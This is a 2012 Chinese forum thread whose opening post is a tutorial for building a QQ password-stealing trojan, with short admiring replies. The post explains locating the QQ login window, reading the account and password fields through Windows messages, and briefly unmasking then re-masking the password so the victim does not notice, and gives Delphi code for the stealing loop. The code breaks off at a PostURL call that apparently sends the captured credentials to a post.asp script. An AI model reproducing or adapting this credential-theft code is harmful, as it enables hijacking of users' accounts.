开启左侧

打造自己的线程QQ木马

[复制链接]
发表于 2012-2-9 14:32:14 | 显示全部楼层 |阅读模式
本来我是想写个好点的DLL木马的,可考虑到篇幅有限(其实是水平有限啊^_^),于是写了一个简单一点的,希望大家能从中学到点什么。
一.判断QQ是否运行
QQ木马当然是用来盗号的,所以第一步要先判断QQ是否已经运行,。有一种比较简便的方法是通过调用findwindow这个API函数来取得QQ主程序的窗口句柄。如果函数返回值为空,则表示QQ没有运行,如果大余0则表示QQ已经运行。下面是findwindow这个函数的声明:
FWND FindWindow (LPCTSTR IpClassName, LPCTSTR IpWindowName);
因为QQ程序的窗口类名是32770,所以通过调用FindWindow(`#32770`,nil)就可以得到QQ主程序的窗口句柄了。这样就可以判断QQ是否运行了。
二.获取QQ帐号和密码
在取得QQ程序主窗口的句柄后我们可以再调用另外一个函数FindWindowEx就可以得到QQ登陆帐号和密码的句柄了。然后通sendmessage函数发送一条消息给这个输入框,QQ程序就会返回这个输入框里面的文字信息。这是sendmessage函数的原型:LRESULT SendMessage (HWND hWnd,UINT Msg, WPARAMwParam, LPARAM IParam);但是在调用sendmessage函数取得QQ密码的时候,QQ密码经常回不显示星号而是直接显示用户输入的字符,这样就很容易被人发现,为了不让密码显示出来还应调应函数PostMessage,它和sendmessage的区别就是sendmessage直接把一个消息发送给窗口,等消息处理完后才返回,而PostMessage是把消息发送到消息队列后立即返回。这样通过PstMessage发送一个带*号的字符给QQ密码输入框,QQ密码输入框就和以前一样了,只会显示星号而不显示字符。下面是整个截取QQ登陆帐号和密码的函数:
procedure ThreadProc;
var
p,k:integer;
qqhwnd,qqhwnd2,tempH:hwnd;
username,password:pchar;
usertemp,passtemp:string;
begin
while true do
begin
sleep(100);
p:=k;
getmem(username,255);
getmem(password,255);
QQhwnd:=FindWindow(`#32770`,nil);
qqhwnd2:=FindWindowEx(qqhwnd,0,`Button`,`注册向导`);
if qqhwnd2<>0 then
begin
k:=1;
TempH:=FindWindowEx(qqHwnd,0,`ComboBox`,nil);
SendMessage(TempH,WM_GETTEXT,100,Integer(username));
TempH:=FindWindowEx(QQHwnd,0,`Edit`,nil);
PostMessage(TempH,EM_SETPASSWORDCHAR,ord(#0),0);
Sleep(10);
SendMessage(TempH,WM_GETTEXT,100,Longint(password));
PostMessage(TempH,EM_SETPASSWORDCHAR,wparam(`*`),0);
usertemp:=username;
passtemp:=password;
end
else
begin
QQhwnd:=FindWindowEx(qqhwnd,0,`#32770`,nil);
QQhwnd:=FindWindowEx(qqhwnd,0,`Button`,`使用已有的QQ号码`);
if qqhwnd<>0 then
begin
k:=1;
TempH:=GetNextWindow(QQHwnd,GW_HWNDNEXT);
SendMessage(TempH,WM_GETTEXT,100,Integer(username));
TempH:=GetNextWindow(TempH,GW_HWNDNEXT);
PostMessage(TempH,EM_SETPASSWORDCHAR,ord(#0),0);
Sleep(10);
SendMessage(TempH,WM_GETTEXT,100,Longint(password));
PostMessage(TempH.EM_SETPASSWORDCHAR, wparam(`*`),0);
usertemp:=username;
passtemp:=password;
end
else k:=0;
end;

if (p=1) and (k=0) and (length(usertemp)>4) and (length(usertemp)<10) and (length(passtemp)>3) then
begin
PostURL(` post.asp` (4.23 KB, 下载次数: 0)
平度网:www.pingdu.co 平度论坛:bbs.pingdu.co
发表于 2012-2-9 14:32:20 | 显示全部楼层
victory.gif victory.gif victory.gif handshake.gif
平度网:www.pingdu.co 平度论坛:bbs.pingdu.co
发表于 2012-2-9 14:32:21 | 显示全部楼层
有点不会啊
平度网:www.pingdu.co 平度论坛:bbs.pingdu.co
发表于 2012-2-9 14:32:24 | 显示全部楼层
看一下, tongue.gif
平度网:www.pingdu.co 平度论坛:bbs.pingdu.co
发表于 2012-2-9 14:32:25 | 显示全部楼层
靠,那么强
平度网:www.pingdu.co 平度论坛:bbs.pingdu.co
发表于 2012-2-9 14:32:27 | 显示全部楼层
很深啊、、、学习了
平度网:www.pingdu.co 平度论坛:bbs.pingdu.co
您需要登录后才可以回帖 登录 | 会员注册

本版积分规则

 
QQ在线咨询
售前咨询热线
0532-88371356
售后服务微信
pingduwangzhan
快速回复 返回顶部 返回列表